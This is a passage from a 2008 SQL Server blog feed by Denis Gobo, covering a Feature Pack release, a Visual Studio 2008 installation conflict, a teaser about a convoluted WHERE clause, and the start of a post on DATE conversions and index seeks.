&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=SQL Tip, Compiling Your SQL Without Running It To See If It Would Run&amp;amp;body=Seen on SQLblog.com: %0A%0A%09SQL Tip, Compiling Your SQL Without Running It To See If It Would Run%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx" target="_blank" title = "Email SQL Tip, Compiling Your SQL Without Running It To See If It Would Run"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx&amp;amp;title=SQL+Tip%2c+Compiling+Your+SQL+Without+Running+It+To+See+If+It+Would+Run" target="_blank" title = "Submit SQL Tip, Compiling Your SQL Without Running It To See If It Would Run to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx&amp;amp;phase=2" target="_blank" title = "Submit SQL Tip, Compiling Your SQL Without Running It To See If It Would Run to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx&amp;amp;title=SQL+Tip%2c+Compiling+Your+SQL+Without+Running+It+To+See+If+It+Would+Run" target="_blank" title = "Submit SQL Tip, Compiling Your SQL Without Running It To See If It Would Run to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx&amp;amp;title=SQL+Tip%2c+Compiling+Your+SQL+Without+Running+It+To+See+If+It+Would+Run" target="_blank" title = "Submit SQL Tip, Compiling Your SQL Without Running It To See If It Would Run to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/13/8352.aspx&amp;amp;title=SQL+Tip%2c+Compiling+Your+SQL+Without+Running+It+To+See+If+It+Would+Run&amp;amp;;top=1" target="_blank" title = "Add SQL Tip, Compiling Your SQL Without Running It To See If It Would Run to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8352" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="Tips and Tricks" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/Tips+and+Tricks/default.aspx" /></entry><entry><title>Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx</id><published>2008-08-07T19:25:00Z</published><updated>2008-08-07T19:25:00Z</updated><content type="html">&lt;P&gt;The 2008 Feature Pack for Microsoft SQL Server 2008, a collection of stand-alone install packages that provide additional value for SQL Server 2008 is available for download. One of these components is &lt;STRONG&gt;Microsoft SQL Server 2008 Policies&lt;/STRONG&gt; &lt;/P&gt;
&lt;UL&gt;Microsoft SQL Server 2008 Policies are examples of how you can take advantage of Policy Based Management. These policies will help you follow some of the SQL Server best practices and avoid common pitfalls. For more information, please see &lt;A href="http://go.microsoft.com/fwlink/?LinkID=123115"&gt;&lt;FONT color=#0033cc&gt;Administering Servers by Using Policy Based Management&lt;/FONT&gt;&lt;/A&gt; in SQL Server 2008 Books Online.&lt;/UL&gt;
&lt;P&gt;Download it here: &lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.microsoft.com/downloads/details.aspx?familyid=c6c3e9ef-ba29-4a43-8d69-a2bed18fe73c&amp;amp;displaylang=en&amp;amp;tm"&gt;http://www.microsoft.com/downloads/details.aspx?familyid=c6c3e9ef-ba29-4a43-8d69-a2bed18fe73c&amp;amp;displaylang=en&amp;amp;tm&lt;/A&gt; &lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download&amp;amp;body=Seen on SQLblog.com: %0A%0A%09Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx" target="_blank" title = "Email Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx&amp;amp;title=Microsoft+SQL+Server+2008+Feature+Pack%2c+August+2008+Available+for+download" target="_blank" title = "Submit Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx&amp;amp;phase=2" target="_blank" title = "Submit Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx&amp;amp;title=Microsoft+SQL+Server+2008+Feature+Pack%2c+August+2008+Available+for+download" target="_blank" title = "Submit Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx&amp;amp;title=Microsoft+SQL+Server+2008+Feature+Pack%2c+August+2008+Available+for+download" target="_blank" title = "Submit Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8265.aspx&amp;amp;title=Microsoft+SQL+Server+2008+Feature+Pack%2c+August+2008+Available+for+download&amp;amp;;top=1" target="_blank" title = "Add Microsoft SQL Server 2008 Feature Pack, August 2008 Available for download to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8265" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008/default.aspx" /></entry><entry><title>SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx</id><published>2008-08-07T14:54:00Z</published><updated>2008-08-07T14:54:00Z</updated><content type="html">&lt;P&gt;Visual Studio 2008 does not support having both Visual Studio 2008 without a service pack and Visual Studio 2008 with SP1 installed on the same computer. Because certain SQL Server 2008 features install components that are also part of the release version of Visual Studio 2008 SP1, SQL Server 2008 requires Visual Studio 2008 with SP1. If Visual Studio 2008 without a service pack is installed instead, it may not work correctly after you install SQL Server 2008.&lt;/P&gt;
&lt;P&gt;More about this in this knowledgebase article: &lt;A href="http://support.microsoft.com/kb/956139"&gt;http://support.microsoft.com/kb/956139&lt;/A&gt;&lt;BR&gt;&lt;/P&gt;
&lt;P&gt;There is also an item on connect submitted by Steve Kass: &lt;A href="http://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=360930"&gt;http://connect.microsoft.com/SQLServer/feedback/ViewFeedback.aspx?FeedbackID=360930&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;So I guess I have to wait till August 11th when VS 2008 goes RTM to install it. I don’t want to install VS 2008 SP1 Beta so close before RTM. &lt;/P&gt;
&lt;P&gt;Update!&amp;nbsp;&lt;/P&gt;
&lt;P&gt;The KB article&amp;nbsp;mentioned the following: For example, do not select the Analysis Services, Integration Services, or Business Intelligence Development Studio features.&lt;/P&gt;
&lt;P&gt;Well I did that and I get the same validation error&amp;nbsp; :-(&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;IMG alt="Image and video hosting by TinyPic" src="http://i34.tinypic.com/350js03.jpg" border=0&gt;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed&amp;amp;body=Seen on SQLblog.com: %0A%0A%09SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx" target="_blank" title = "Email SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx&amp;amp;title=SQL+Server+2008+cannot+be+installed+if+you+have+Visual+Studio+2008+RTM+installed" target="_blank" title = "Submit SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx&amp;amp;phase=2" target="_blank" title = "Submit SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx&amp;amp;title=SQL+Server+2008+cannot+be+installed+if+you+have+Visual+Studio+2008+RTM+installed" target="_blank" title = "Submit SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx&amp;amp;title=SQL+Server+2008+cannot+be+installed+if+you+have+Visual+Studio+2008+RTM+installed" target="_blank" title = "Submit SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/08/07/8261.aspx&amp;amp;title=SQL+Server+2008+cannot+be+installed+if+you+have+Visual+Studio+2008+RTM+installed&amp;amp;;top=1" target="_blank" title = "Add SQL Server 2008 cannot be installed if you have Visual Studio 2008 RTM installed to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8261" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008/default.aspx" /></entry><entry><title>SQL Teaser: Where Clause Gone Wild</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx</id><published>2008-07-25T18:24:00Z</published><updated>2008-07-25T18:24:00Z</updated><content type="html">&lt;P&gt;Try to guess what this WHERE clause is supposed to do.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;WHERE&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;r&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;ApptId &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;IS&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; r&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;DATE &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;&amp;gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;ISNULL&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'1/1/1900'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; r&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;DATE &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;DATEADD&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;d &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 1 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;ISNULL&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'1/1/3000'&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;))&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Filter on resource&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;IS&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NOT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; r&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;DoctorResourceID &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;IN&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;IS&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Filter on facility&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;IS&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NOT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; r&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;FacilityID &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;IN&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;IS&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;NULL&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#008000 size=2&gt;--Filter on Inactive&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;ISNULL&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;r&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;inactive &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt; 0&lt;/P&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;ORDER&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;BY&lt;/P&gt;&lt;/FONT&gt;&lt;FONT size=2&gt;
&lt;P&gt;&lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;ISNULL&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;g&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;LAST &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;''&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;ISNULL&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;g&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;FIRST &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;''&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#808080 size=2&gt;&lt;/FONT&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#808080 size=2&gt;&lt;FONT color=#000000&gt;If you think I made that up, then you are in for a surprise. This is actually part of a query, I found it here: &lt;A href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=3662895&amp;amp;SiteID=1"&gt;http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=3662895&amp;amp;SiteID=1&lt;/A&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#808080 size=2&gt;&lt;FONT color=#000000&gt;This NULL IS NULL and NULL IS NOT NULL stuff is just killing me. I wonder why this person did not get an answer yet.....Enjoy your weekend&amp;nbsp; :-)&lt;/FONT&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=SQL Teaser: Where Clause Gone Wild&amp;amp;body=Seen on SQLblog.com: %0A%0A%09SQL Teaser: Where Clause Gone Wild%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx" target="_blank" title = "Email SQL Teaser: Where Clause Gone Wild"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx&amp;amp;title=SQL+Teaser%3a+Where+Clause+Gone+Wild" target="_blank" title = "Submit SQL Teaser: Where Clause Gone Wild to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx&amp;amp;phase=2" target="_blank" title = "Submit SQL Teaser: Where Clause Gone Wild to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx&amp;amp;title=SQL+Teaser%3a+Where+Clause+Gone+Wild" target="_blank" title = "Submit SQL Teaser: Where Clause Gone Wild to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx&amp;amp;title=SQL+Teaser%3a+Where+Clause+Gone+Wild" target="_blank" title = "Submit SQL Teaser: Where Clause Gone Wild to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/25/8039.aspx&amp;amp;title=SQL+Teaser%3a+Where+Clause+Gone+Wild&amp;amp;;top=1" target="_blank" title = "Add SQL Teaser: Where Clause Gone Wild to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=8039" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="Teaser" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/Teaser/default.aspx" /></entry><entry><title>Converting Columns To Date From Datetime Does Not Result In A Scan In SQL Server 2008</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/07/24/8022.aspx</id><published>2008-07-24T18:20:00Z</published><updated>2008-07-24T18:20:00Z</updated><content type="html">&lt;P&gt;I was reading Itzik Ben-Gan's &lt;A class="" href="http://msdn.microsoft.com/en-gb/library/cc721270(SQL.100).aspx"&gt;An Introduction to New T-SQL Programmability Features in SQL Server 2008&lt;/A&gt; article yesterday after one of my friends allerted me to the following from that article&lt;BR&gt;&lt;EM&gt;For example, the plan for the following query performs an index seek on the index on the CurrencyRateDate DATETIME column:&lt;BR&gt;&lt;/EM&gt;&lt;/P&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;&lt;EM&gt;USE&lt;/EM&gt;&lt;/FONT&gt;&lt;EM&gt;&lt;FONT size=2&gt; AdventureWorks&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;;&lt;/P&gt;&lt;/FONT&gt;&lt;/EM&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;&lt;EM&gt;SELECT&lt;/EM&gt;&lt;/FONT&gt;&lt;EM&gt;&lt;FONT size=2&gt; FromCurrencyCode&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; ToCurrencyCode&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt; EndOfDayRate&lt;/P&gt;&lt;/FONT&gt;&lt;/EM&gt;&lt;FONT color=#0000ff size=2&gt;
&lt;P&gt;&lt;EM&gt;FROM&lt;/EM&gt;&lt;/FONT&gt;&lt;EM&gt;&lt;FONT size=2&gt; Sales&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;CurrencyRate&lt;/P&gt;&lt;/FONT&gt;&lt;/EM&gt;&lt;FONT color=#0000ff size=2&gt;
